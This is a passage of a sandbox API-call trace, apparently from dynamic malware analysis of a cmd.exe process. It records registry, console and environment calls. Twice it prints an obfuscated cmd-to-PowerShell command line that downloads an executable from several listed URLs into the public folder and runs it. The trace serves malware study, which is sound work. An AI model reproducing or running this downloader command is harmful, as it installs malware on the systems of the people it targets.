__alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0019.818] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24f6f0, dwLength=0x30 | out: lpBuffer=0x24f6f0*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0019.818] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24f6f0, dwLength=0x30 | out: lpBuffer=0x24f6f0*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0019.818] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24f6f0, dwLength=0x30 | out: lpBuffer=0x24f6f0*(BaseAddress=0x250000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0019.818] GetConsoleOutputCP () returned 0x1b5 [0019.818] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0019.818] SetConsoleCtrlHandler (HandlerRoutine=0x49f83184, Add=1) returned 1 [0019.818] _get_osfhandle (_FileHandle=1) returned 0x7 [0019.818] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0019.818] _get_osfhandle (_FileHandle=1) returned 0x7 [0019.818] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 1 [0019.818] _get_osfhandle (_FileHandle=1) returned 0x7 [0019.818] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0019.818] _get_osfhandle (_FileHandle=0) returned 0x3 [0019.818] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 1 [0019.819] _get_osfhandle (_FileHandle=0) returned 0x3 [0019.819] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0019.819] GetEnvironmentStringsW () returned 0x28a850* [0019.819] FreeEnvironmentStringsW (penv=0x28a850) returned 1 [0019.819] GetEnvironmentStringsW () returned 0x28a850* [0019.819] FreeEnvironmentStringsW (penv=0x28a850) returned 1 [0019.819] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e648 | out: phkResult=0x24e648*=0x44) returned 0x0 [0019.819] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x0, lpData=0x24e660*=0x18, lpcbData=0x24e644*=0x1000) returned 0x2 [0019.819] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x4, lpData=0x24e660*=0x1, lpcbData=0x24e644*=0x4) returned 0x0 [0019.819] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x0, lpData=0x24e660*=0x1, lpcbData=0x24e644*=0x1000) returned 0x2 [0019.819] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x4, lpData=0x24e660*=0x0, lpcbData=0x24e644*=0x4) returned 0x0 [0019.819] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x4, lpData=0x24e660*=0x40, lpcbData=0x24e644*=0x4) returned 0x0 [0019.819] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x4, lpData=0x24e660*=0x40, lpcbData=0x24e644*=0x4) returned 0x0 [0019.819] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x0, lpData=0x24e660*=0x40, lpcbData=0x24e644*=0x1000) returned 0x2 [0019.819] RegCloseKey (hKey=0x44) returned 0x0 [0019.819] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e648 | out: phkResult=0x24e648*=0x44) returned 0x0 [0019.820] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x0, lpData=0x24e660*=0x40, lpcbData=0x24e644*=0x1000) returned 0x2 [0019.820] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x4, lpData=0x24e660*=0x1, lpcbData=0x24e644*=0x4) returned 0x0 [0019.820] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x0, lpData=0x24e660*=0x1, lpcbData=0x24e644*=0x1000) returned 0x2 [0019.820] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x4, lpData=0x24e660*=0x0, lpcbData=0x24e644*=0x4) returned 0x0 [0019.820] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x4, lpData=0x24e660*=0x9, lpcbData=0x24e644*=0x4) returned 0x0 [0019.820] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x4, lpData=0x24e660*=0x9, lpcbData=0x24e644*=0x4) returned 0x0 [0019.820] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e640, lpData=0x24e660, lpcbData=0x24e644*=0x1000 | out: lpType=0x24e640*=0x0, lpData=0x24e660*=0x9, lpcbData=0x24e644*=0x1000) returned 0x2 [0019.820] RegCloseKey (hKey=0x44) returned 0x0 [0019.820] time (in: timer=0x0 | out: timer=0x0) returned 0x5a1da85c [0019.820] srand (_Seed=0x5a1da85c) [0019.820] GetCommandLineW () returned="CmD wMic wMic wMic wMic & %Co^m^S^p^Ec^% /V /c set %binkOHOTJcSMBkQ%=EINhmPkdO&&set %kiqjRiiiH%=owe^r^s&&set %zzwpVwCTCRDvTBu%=pOwoJiQoW&&set %CdjPuLtXi%=p&&set %GKZajcAqFZkRLZw%=NazJjhVlGSrXQvT&&set %QiiPPcnDM%=^he^l^l&&set %jiIZiKXbkZQMpuQ%=dipAbiiHEplZSHr&&!%CdjPuLtXi%!!%kiqjRiiiH%!!%QiiPPcnDM%! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) " [0019.820] GetCommandLineW () returned="CmD wMic wMic wMic wMic & %Co^m^S^p^Ec^% /V /c set %binkOHOTJcSMBkQ%=EINhmPkdO&&set %kiqjRiiiH%=owe^r^s&&set %zzwpVwCTCRDvTBu%=pOwoJiQoW&&set %CdjPuLtXi%=p&&set %GKZajcAqFZkRLZw%=NazJjhVlGSrXQvT&&set %QiiPPcnDM%=^he^l^l&&set %jiIZiKXbkZQMpuQ%=dipAbiiHEplZSHr&&!%CdjPuLtXi%!!%kiqjRiiiH%!!%QiiPPcnDM%! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) " [0019.820] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0019.821] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28c900, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\CmD.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0019.821] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0019.821] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0019.821] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.821] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0019.821] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0019.821] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0019.821] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0019.821] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0019.821] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0019.821] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0019.821] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0019.821] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0019.821] GetEnvironmentStringsW () returned 0x28a850* [0019.821] FreeEnvironmentStringsW (penv=0x28a850) returned 1 [0019.821] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0019.821] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.821] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0019.821] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0019.821] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0019.821] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0019.821] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0019.821] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0019.821] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0019.821] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0019.821] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24f450 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0019.821] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x24f450, lpFilePart=0x24f430 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x24f430*="Desktop") returned 0x19 [0019.821] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0019.822] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x24f160 | out: lpFindFileData=0x24f160) returned 0x271320 [0019.822] FindClose (in: hFindFile=0x271320 | out: hFindFile=0x271320) returned 1 [0019.822] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x24f160 | out: lpFindFileData=0x24f160) returned 0x271320 [0019.822] FindClose (in: hFindFile=0x271320 | out: hFindFile=0x271320) returned 1 [0019.822] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x24f160 | out: lpFindFileData=0x24f160) returned 0x271320 [0019.822] FindClose (in: hFindFile=0x271320 | out: hFindFile=0x271320) returned 1 [0019.825] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0019.825] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0019.825] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0019.825] GetEnvironmentStringsW () returned 0x28a850* [0019.825] FreeEnvironmentStringsW (penv=0x28a850) returned 1 [0019.825] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0019.826] _wcsnicmp (_String1=" ", _String2=":ON", _MaxCount=0x3) returned -26 [0019.826] GetConsoleOutputCP () returned 0x1b5 [0019.826] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0019.826] GetUserDefaultLCID () returned 0x409 [0019.826] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f97b50, cchData=8 | out: lpLCData=":") returned 2 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24f560, cchData=128 | out: lpLCData="0") returned 2 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24f560, cchData=128 | out: lpLCData="0") returned 2 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24f560, cchData=128 | out: lpLCData="1") returned 2 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49faa740, cchData=8 | out: lpLCData="/") returned 2 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49faa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49faa460, cchData=32 | out: lpLCData="Tue") returned 4 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49faa420, cchData=32 | out: lpLCData="Wed") returned 4 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49faa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49faa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49faa360, cchData=32 | out: lpLCData="Sat") returned 4 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49faa700, cchData=32 | out: lpLCData="Sun") returned 4 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f97b40, cchData=8 | out: lpLCData=".") returned 2 [0019.827] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49faa4e0, cchData=8 | out: lpLCData=",") returned 2 [0019.827] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0019.827] GetConsoleTitleW (in: lpConsoleTitle=0x28d640, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CmD.exe") returned 0x1b [0019.827] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f70000 [0019.828] GetProcAddress (hModule=0x76f70000, lpProcName="CopyFileExW") returned 0x76f823d0 [0019.828] GetProcAddress (hModule=0x76f70000, lpProcName="IsDebuggerPresent") returned 0x76f78290 [0019.828] GetProcAddress (hModule=0x76f70000, lpProcName="SetConsoleInputExeNameW") returned 0x76f817e0 [0019.828] GetEnvironmentVariableW (in: lpName="binkOHOTJcSMBkQ", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.828] _wcsicmp (_String1="binkOHOTJcSMBkQ", _String2="CD") returned -1 [0019.828] _wcsicmp (_String1="binkOHOTJcSMBkQ", _String2="ERRORLEVEL") returned -3 [0019.828] _wcsicmp (_String1="binkOHOTJcSMBkQ", _String2="CMDEXTVERSION") returned -1 [0019.829] _wcsicmp (_String1="binkOHOTJcSMBkQ", _String2="CMDCMDLINE") returned -1 [0019.829] _wcsicmp (_String1="binkOHOTJcSMBkQ", _String2="DATE") returned -2 [0019.829] _wcsicmp (_String1="binkOHOTJcSMBkQ", _String2="TIME") returned -18 [0019.829] _wcsicmp (_String1="binkOHOTJcSMBkQ", _String2="RANDOM") returned -16 [0019.829] _wcsicmp (_String1="binkOHOTJcSMBkQ", _String2="HIGHESTNUMANODENUMBER") returned -6 [0019.831] GetEnvironmentVariableW (in: lpName="=EINhmPkdO&&set ", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.831] _wcsicmp (_String1="=EINhmPkdO&&set ", _String2="CD") returned -38 [0019.831] _wcsicmp (_String1="=EINhmPkdO&&set ", _String2="ERRORLEVEL") returned -40 [0019.831] _wcsicmp (_String1="=EINhmPkdO&&set ", _String2="CMDEXTVERSION") returned -38 [0019.831] _wcsicmp (_String1="=EINhmPkdO&&set ", _String2="CMDCMDLINE") returned -38 [0019.831] _wcsicmp (_String1="=EINhmPkdO&&set ", _String2="DATE") returned -39 [0019.831] _wcsicmp (_String1="=EINhmPkdO&&set ", _String2="TIME") returned -55 [0019.831] _wcsicmp (_String1="=EINhmPkdO&&set ", _String2="RANDOM") returned -53 [0019.831] _wcsicmp (_String1="=EINhmPkdO&&set ", _String2="HIGHESTNUMANODENUMBER") returned -43 [0019.831] GetEnvironmentVariableW (in: lpName="kiqjRiiiH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.831] _wcsicmp (_String1="kiqjRiiiH", _String2="CD") returned 8 [0019.831] _wcsicmp (_String1="kiqjRiiiH", _String2="ERRORLEVEL") returned 6 [0019.831] _wcsicmp (_String1="kiqjRiiiH", _String2="CMDEXTVERSION") returned 8 [0019.831] _wcsicmp (_String1="kiqjRiiiH", _String2="CMDCMDLINE") returned 8 [0019.831] _wcsicmp (_String1="kiqjRiiiH", _String2="DATE") returned 7 [0019.831] _wcsicmp (_String1="kiqjRiiiH", _String2="TIME") returned -9 [0019.831] _wcsicmp (_String1="kiqjRiiiH", _String2="RANDOM") returned -7 [0019.831] _wcsicmp (_String1="kiqjRiiiH", _String2="HIGHESTNUMANODENUMBER") returned 3 [0019.831] GetEnvironmentVariableW (in: lpName="=owe^r^s&&set ", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.831] _wcsicmp (_String1="=owe^r^s&&set ", _String2="CD") returned -38 [0019.831] _wcsicmp (_String1="=owe^r^s&&set ", _String2="ERRORLEVEL") returned -40 [0019.831] _wcsicmp (_String1="=owe^r^s&&set ", _String2="CMDEXTVERSION") returned -38 [0019.831] _wcsicmp (_String1="=owe^r^s&&set ", _String2="CMDCMDLINE") returned -38 [0019.831] _wcsicmp (_String1="=owe^r^s&&set ", _String2="DATE") returned -39 [0019.831] _wcsicmp (_String1="=owe^r^s&&set ", _String2="TIME") returned -55 [0019.831] _wcsicmp (_String1="=owe^r^s&&set ", _String2="RANDOM") returned -53 [0019.831] _wcsicmp (_String1="=owe^r^s&&set ", _String2="HIGHESTNUMANODENUMBER") returned -43 [0019.832] GetEnvironmentVariableW (in: lpName="zzwpVwCTCRDvTBu", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.832] _wcsicmp (_String1="zzwpVwCTCRDvTBu", _String2="CD") returned 23 [0019.832] _wcsicmp (_String1="zzwpVwCTCRDvTBu", _String2="ERRORLEVEL") returned 21 [0019.832] _wcsicmp (_String1="zzwpVwCTCRDvTBu", _String2="CMDEXTVERSION") returned 23 [0019.832] _wcsicmp (_String1="zzwpVwCTCRDvTBu", _String2="CMDCMDLINE") returned 23 [0019.832] _wcsicmp (_String1="zzwpVwCTCRDvTBu", _String2="DATE") returned 22 [0019.832] _wcsicmp (_String1="zzwpVwCTCRDvTBu", _String2="TIME") returned 6 [0019.832] _wcsicmp (_String1="zzwpVwCTCRDvTBu", _String2="RANDOM") returned 8 [0019.832] _wcsicmp (_String1="zzwpVwCTCRDvTBu", _String2="HIGHESTNUMANODENUMBER") returned 18 [0019.832] GetEnvironmentVariableW (in: lpName="=pOwoJiQoW&&set ", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.832] _wcsicmp (_String1="=pOwoJiQoW&&set ", _String2="CD") returned -38 [0019.832] _wcsicmp (_String1="=pOwoJiQoW&&set ", _String2="ERRORLEVEL") returned -40 [0019.832] _wcsicmp (_String1="=pOwoJiQoW&&set ", _String2="CMDEXTVERSION") returned -38 [0019.832] _wcsicmp (_String1="=pOwoJiQoW&&set ", _String2="CMDCMDLINE") returned -38 [0019.832] _wcsicmp (_String1="=pOwoJiQoW&&set ", _String2="DATE") returned -39 [0019.832] _wcsicmp (_String1="=pOwoJiQoW&&set ", _String2="TIME") returned -55 [0019.832] _wcsicmp (_String1="=pOwoJiQoW&&set ", _String2="RANDOM") returned -53 [0019.832] _wcsicmp (_String1="=pOwoJiQoW&&set ", _String2="HIGHESTNUMANODENUMBER") returned -43 [0019.832] GetEnvironmentVariableW (in: lpName="CdjPuLtXi", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0019.832] _wcsicmp (_String1="CdjPuLtXi", _String2="CD") returned 106 [0019.832] _wcsicmp (_String1="CdjPuLtXi", _String2="ERRORLEVEL") returned -2 [0019.832] _wcsicmp (_String1="CdjPuLtXi", _String2="CMDEXTVERSION") returned -9 [0019.832] _wcsicmp (_String1="CdjPuLtXi", _String2="CMDCMDLINE") returned -9 [0019.832] _wcsicmp (_String1="CdjPuLtXi", _String2="DATE") returned -1 [0019.832] _wcsicmp (_String1="CdjPuLtXi", _String2="TIME") returned -17 [0019.832] _wcsicmp 